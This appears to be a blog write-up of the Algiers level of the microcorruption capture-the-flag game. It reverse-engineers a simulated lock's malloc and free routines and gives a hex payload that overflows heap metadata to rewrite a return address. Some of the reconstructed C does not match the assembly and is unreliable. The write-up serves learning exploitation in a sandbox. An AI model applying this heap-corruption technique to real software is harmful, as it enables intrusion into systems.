This is the fourteenth in a series. You might want to read the previous post before reading this.
This post is based on the Algiers level on microcorruption.com. Like last time, we’re trying to find an input to open a lock without knowing the correct password, using knowledge of assembly language.
First steps
There are a couple of interesting things happening here:
- The username and password aren’t being copied to the stack, so we probably won’t be able to overflow the stack to write overflow the return address.
- This code uses dynamically allocated memory on the heap instead of statically allocated memory on the stack.
As you’ll remember, the stack grows downwards. In each function call, the stack gets extended by a fixed amount, then at the end of the function, the stack is shortened again.
The heap grows upwards. It’s especially useful for allocating memory dynamically (i.e. where the size depends on input, so you can’t know the size that’ll be required at the time of writing the code).
That’s done with the two functions malloc(unsigned int bytes) (to allocate more space, which returns the address of the allocated memory) and free(byte*) which frees the allocated memory at the address given.
Malloc
This is a long function. But it’s important, so let’s dive in. It’s pretty complicated, so the easiest thing to do first is to convert it into something that resembles C or C++.
We know the function is going to return a pointer to memory, and takes a number of bytes to allocate.
byte* malloc(unsigned int r15){
4466: c293 0424 tst.b &0x2404
446a: 0f24 jz #0x448a <malloc+0x26>
446c: 1e42 0024 mov &0x2400, r14
4470: 8e4e 0000 mov r14, 0x0(r14)
4474: 8e4e 0200 mov r14, 0x2(r14)
4478: 1d42 0224 mov &0x2402, r13
447c: 3d50 faff add #0xfffa, r13
4480: 0d5d add r13, r13
4482: 8e4d 0400 mov r13, 0x4(r14)
4486: c243 0424 mov.b #0x0, &0x2404
448a: 1b42 0024 mov &0x2400, r11
448e: 0e4b mov r11, r14
4490: 1d4e 0400 mov 0x4(r14), r13
4494: 1db3 bit #0x1, r13
4496: 2820 jnz #0x44e8 <malloc+0x84>
4498: 0c4d mov r13, r12
449a: 12c3 clrc
449c: 0c10 rrc r12
449e: 0c9f cmp r15, r12
44a0: 2338 jl #0x44e8 <malloc+0x84>
44a2: 0b4f mov r15, r11
44a4: 3b50 0600 add #0x6, r11
44a8: 0c9b cmp r11, r12
44aa: 042c jc #0x44b4 <malloc+0x50>
44ac: 1dd3 bis #0x1, r13
44ae: 8e4d 0400 mov r13, 0x4(r14)
44b2: 163c jmp #0x44e0 <malloc+0x7c>
44b4: 0d4f mov r15, r13
44b6: 0d5d add r13, r13
44b8: 1dd3 bis #0x1, r13
44ba: 8e4d 0400 mov r13, 0x4(r14)
44be: 0d4e mov r14, r13
44c0: 3d50 0600 add #0x6, r13
44c4: 0d5f add r15, r13
44c6: 8d4e 0000 mov r14, 0x0(r13)
44ca: 9d4e 0200 0200 mov 0x2(r14), 0x2(r13)
44d0: 0c8f sub r15, r12
44d2: 3c50 faff add #0xfffa, r12
44d6: 0c5c add r12, r12
44d8: 8d4c 0400 mov r12, 0x4(r13)
44dc: 8e4d 0200 mov r13, 0x2(r14)
44e0: 0f4e mov r14, r15
44e2: 3f50 0600 add #0x6, r15
44e6: 0e3c jmp #0x4504 <malloc+0xa0>
44e8: 0d4e mov r14, r13
44ea: 1e4e 0200 mov 0x2(r14), r14
44ee: 0e9d cmp r13, r14
44f0: 0228 jnc #0x44f6 <malloc+0x92>
44f2: 0e9b cmp r11, r14
44f4: cd23 jne #0x4490 <malloc+0x2c>
44f6: 3f40 4a44 mov #0x444a "Heap exausted; aborting.", r15
44fa: b012 1a47 call #0x471a <puts>
44fe: 3040 4044 br #0x4440 <__stop_progExec__>
4502: 0f43 clr r15
}
Also:
- Jumping to an address is probably an
if. - If the jumped-to address holds an instruction that follows another jump, that’s probably an
if ... else(because both paths will never be executed together). - A jump near the end of the function back to a point earlier in the function is probably a loop.
- Conditions for going back to the beginning of the loop, or for jumping to the address after the loop translate to
breaks. - Jumps to the very end of the function are
returns.
byte* malloc(unsigned int r15){
if (*((byte*) 0x2404) != 0){
446c: 1e42 0024 mov &0x2400, r14
4470: 8e4e 0000 mov r14, 0x0(r14)
4474: 8e4e 0200 mov r14, 0x2(r14)
4478: 1d42 0224 mov &0x2402, r13
447c: 3d50 faff add #0xfffa, r13
4480: 0d5d add r13, r13
4482: 8e4d 0400 mov r13, 0x4(r14)
4486: c243 0424 mov.b #0x0, &0x2404
}
r14 = r11 = *0x2400;
while(true){
r13 = *(r14 + 4);
r12 = r13 / 2;
if ((r13 % 2 == 0) && r15 >= r12){
44a2: 0b4f mov r15, r11
44a4: 3b50 0600 add #0x6, r11
if(r11 >= r12){
44ac: 1dd3 bis #0x1, r13
44ae: 8e4d 0400 mov r13, 0x4(r14)
}
else
{
44b4: 0d4f mov r15, r13
44b6: 0d5d add r13, r13
44b8: 1dd3 bis #0x1, r13
44ba: 8e4d 0400 mov r13, 0x4(r14)
44be: 0d4e mov r14, r13
44c0: 3d50 0600 add #0x6, r13
44c4: 0d5f add r15, r13
44c6: 8d4e 0000 mov r14, 0x0(r13)
44ca: 9d4e 0200 0200 mov 0x2(r14), 0x2(r13)
44d0: 0c8f sub r15, r12
44d2: 3c50 faff add #0xfffa, r12
44d6: 0c5c add r12, r12
44d8: 8d4c 0400 mov r12, 0x4(r13)
44dc: 8e4d 0200 mov r13, 0x2(r14)
}
return r14 + 6
}
44e8: 0d4e mov r14, r13
44ea: 1e4e 0200 mov 0x2(r14), r14
if(r13 >= r14){
break;
}
if(r11 == r14){
break;
}
}
44f6: 3f40 4a44 mov #0x444a "Heap exausted; aborting.", r15
44fa: b012 1a47 call #0x471a <puts>
44fe: 3040 4044 br #0x4440 <__stop_progExec__>
return 0;
}
Now let’s convert the rest of the assembly, and rename some obvious variables. Judging by the last line before looping (r14 = *(r14 + 2);), the 3rd and 4th bytes of the 6 at the beginning of each chunk point to the next chunk, the 1st and 2nd point to the previous chunk. We can also see that the 5th and 6th bytes get compared with the numbers of bytes required. It seems likely that they are the size of the chunk available.
If you run the code, you can also see that malloc uses the first 4 bytes from 0x2400 onwards to store header information for the heap, then starts allocating from 0x2408 onwards.
With all of that in mind, we can pretty accurately reverse-engineer the function.
byte* malloc(unsigned int bytes_requested){
int* heap_header = (int*) 0x2400;
int* heap_content = *((int**) heap_header[0]);
// Some kind of initialization of the heap that's only going to be
// done once.
if(heap_header[2] != 0){
// Store the address of the header in its own first 2 bytes.
heap_content[0] = heap_content;
heap_content[1] = heap_content;
heap_content[2] = (heap_header[1] - 6) * 2;
heap_header[2] = 0x0;
}
// Start at the first chunk.
int* current_chunk = heap_content;
// And then go round all the chunks
while(true){
int current_chunk_status_and_size = current_chunk[2];
int current_size = current_chunk_status_and_size >> 1;
// If the current chunk is at least as big as required,
// and not currently in use.
if(current_size > bytes_requested ||
(current_chunk_status_and_size & 0x1) != 0){
// Need the requested bytes + 6 more for the metadata.
int bytes_required = bytes_requested + 6;
// If the required bytes is more than the current chunk size,
if(bytes_required >= current_size){
// just mark the current chunk as in use.
current_chunk[2] = current_chunk_status_and_size | 1;
}
else{
// Split the chunk. The current chunk is as big as is required.
// Mark it as in use, too.
int status_for_this_chunk = bytes_requested + bytes_requested;
current_chunk[2] = status_for_this_chunk | 0x1;
// Next chunk starts immediately after the metadata and data for this chunk.
int* next_chunk = current_chunk + 6 + bytes_requested;
// Next chunk's previous is the current chunk, and its
// next is the current chunk's next.
next_chunk[0] = current_chunk;
next_chunk[1] = current_chunk[1];
// Size the extra chunk, and calculate its status
current_size = current_size - bytes_requested - 6;
int new_chunk_status = current_size * 2;
next_chunk[2] = new_chunk_status;
// And the current chunk's next is the new next_chunk.
current_chunk[1] = new_chunk;
}
// Return the address of the start of the data in this chunk.
return current_chunk + 6;
}
// Move onto next chunk to try again.
previous_chunk = current_chunk;
current_chunk = current_chunk[1];
// If the chunks are in a weird order, we've run out of chunks to try.
if(previous_chunk >= current_chunk){
break;
}
if(r11 == current_chunk){
break;
}
}
puts("Heap exausted; aborting.");
exit(1);
return 0;
}By reverse engineering the malloc code, we’ve learned roughly how it works. Each chunk created by malloc begins with a 6-byte header section, followed by a payload. The first pair of bytes point to the previous chunk, the second pair point to the next chunk and the last pair are the size of the chunk multiplied by 2, with the least signficiant bit set to 1 if the chunk is in use.
Free
free is the function called to dynamically deallocate memory allocated by malloc. Let’s try the same thing.
4508 <free>
4508: 0b12 push r11
450a: 3f50 faff add #0xfffa, r15
450e: 1d4f 0400 mov 0x4(r15), r13
4512: 3df0 feff and #0xfffe, r13
4516: 8f4d 0400 mov r13, 0x4(r15)
451a: 2e4f mov @r15, r14
451c: 1c4e 0400 mov 0x4(r14), r12
4520: 1cb3 bit #0x1, r12
4522: 0d20 jnz #0x453e <free+0x36>
4524: 3c50 0600 add #0x6, r12
4528: 0c5d add r13, r12
452a: 8e4c 0400 mov r12, 0x4(r14)
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534: 1d4f 0200 mov 0x2(r15), r13
4538: 8d4e 0000 mov r14, 0x0(r13)
453c: 2f4f mov @r15, r15
453e: 1e4f 0200 mov 0x2(r15), r14
4542: 1d4e 0400 mov 0x4(r14), r13
4546: 1db3 bit #0x1, r13
4548: 0b20 jnz #0x4560 <free+0x58>
454a: 1d5f 0400 add 0x4(r15), r13
454e: 3d50 0600 add #0x6, r13
4552: 8f4d 0400 mov r13, 0x4(r15)
4556: 9f4e 0200 0200 mov 0x2(r14), 0x2(r15)
455c: 8e4f 0000 mov r15, 0x0(r14)
4560: 3b41 pop r11
4562: 3041 ret
Taking the same approach of reverse engineering this function, we get this (I’ve changed the byte operations to integer operations where it made more sense):
void free(byte* address){
int* metadata_location = address - 6;
// Mark the chunk as being out of use (i.e. least-significant bit not set)
int size = metadata_location[2] & 0xfffe;
metadata_location[2] = size;
int* previous_chunk = *((unsigned int*)metadata_location);
int previous_chunk_size_and_status = previous_chunk[2];
// If the previous chunk is not in use, combine it with this one.
if((previous_chunk_size_and_status & 0x1) == 0){
// Add this chunk's size to the previous chunk
previous_chunk_size_and_status += 6 + size;
previous_chunk[2] = previous_chunk_size_and_status;
// Change the previous chunk's "next" pointer to point to this chunk's "next"
previous_chunk[1] = metadata_location[1];
// Change the next chunk's "previous" pointer to point to the previous chunk.
*(metadata_location[1]) = previous_chunk;
// This chunk's metadata_location is now the previous chunk's.
metadata_location = metadata_location[0];
}
int* next_chunk = metadata_location[1];
int next_chunk_size_and_status = next_chunk[2];
// If the next chunk is not in use, combine it with this one.
if((next_chunk_size_and_status & 0x1) == 0){
// Add the next chunk's size to this chunk's
metadata_location[2] += next_chunk_size_and_status + 6;
// Make this chunk's "next" pointer point to the next chunk's "next"
metadata_location[1] = next_chunk[1];
// Make the next chunk's "previous" pointer point to this chunk.
*((int*)metadata_location[1]) = metadata_location;
}
}So, free does the opposite of malloc. When a chunk is freed, free types to combine with neighbouring chunks that are not currently in use, and fixes pointers in the metadata.
The exploit
malloc and free must somehow be useful to open the door. Let’s look at how they’re used in the login function.
463a <login>
463a: 0b12 push r11
463c: 0a12 push r10
463e: 3f40 1000 mov #0x10, r15
4642: b012 6444 call #0x4464 <malloc>
4646: 0a4f mov r15, r10
4648: 3f40 1000 mov #0x10, r15
464c: b012 6444 call #0x4464 <malloc>
4650: 0b4f mov r15, r11
Allocate 16 bytes for each, and store the address in r10 and r11.
4652: 3f40 9a45 mov #0x459a, r15
4656: b012 1a47 call #0x471a <puts>
465a: 3f40 c845 mov #0x45c8, r15
465e: b012 1a47 call #0x471a <puts>
4662: 3e40 3000 mov #0x30, r14
4666: 0f4a mov r10, r15
4668: b012 0a47 call #0x470a <getsn>
Print out some stuff, then get 48 bytes into the first buffer. Then do the same for the second.
466c: 3f40 c845 mov #0x45c8, r15
4670: b012 1a47 call #0x471a <puts>
4674: 3f40 d445 mov #0x45d4, r15
4678: b012 1a47 call #0x471a <puts>
467c: 3e40 3000 mov #0x30, r14
4680: 0f4b mov r11, r15
4682: b012 0a47 call #0x470a <getsn>
Later on the password is freed, then the username. However, because we’re able to write more bytes (48) than were allocated (16), we can overwrite some of the metadata on the heap.
Currently the start of the heapspace looks like this:
2408: <6 bytes username chunk metadata>
240e: <16 bytes for the username>
2410: <2 bytes of password chunk metadata, pointing to username chunk>
2412: <2 bytes of password chunk metadata, pointing to next chunk>
2414: <2 bytes of password chunk metadata: status>
2416: <16 bytes for the password>
So how can we manipulate the password chunk’s metadata? Well, when this chunk is freed, its previous chunk is in use, so all that will happen is that its status flag will be set to 0. However, if we manipulate the metadata to point towards somewhere else, we can change the memory there.
The simplest way would be to make the password chunk’s “previous” block appear to be in the area where the login function’s return address is stored. That way, free will change the bytes that the function returns to.
The return address is kept at 0x439a. If we’re going to treat those as the two size & status bytes of the metadata, the block would start at 0x4396. Let’s make that the “previous” chunk to the password chunk. We’ll point the “next” chunk to be 0x4400 so that it doesn’t interfere with anything else. Now, how do we want the status byte to be changed?
Currently the return address is 0x4440, but we want it to be 0x4564. free will change the previous block’s status by adding the password block’s size + 6. So that means we’ll need a size of 0x11e (because 0x11e + 0x6 + 0x4440 = 0x4564).
Putting that all together, we need a username of 16 bytes of 0x41 (the letter A) , then 9643, 0044 and 1e01, to overwrite the return address with the right content to unlock the door.
41414141414141414141414141414141964300441e01
The door springs open
The complexity is really ramping up now. This exploit was a multiple step process, involving understanding how the memory was dynamically allocated, then exploiting a buffer overflow in a way that would interfere with the deallocation mechanism to rewrite a return address. Sneaky.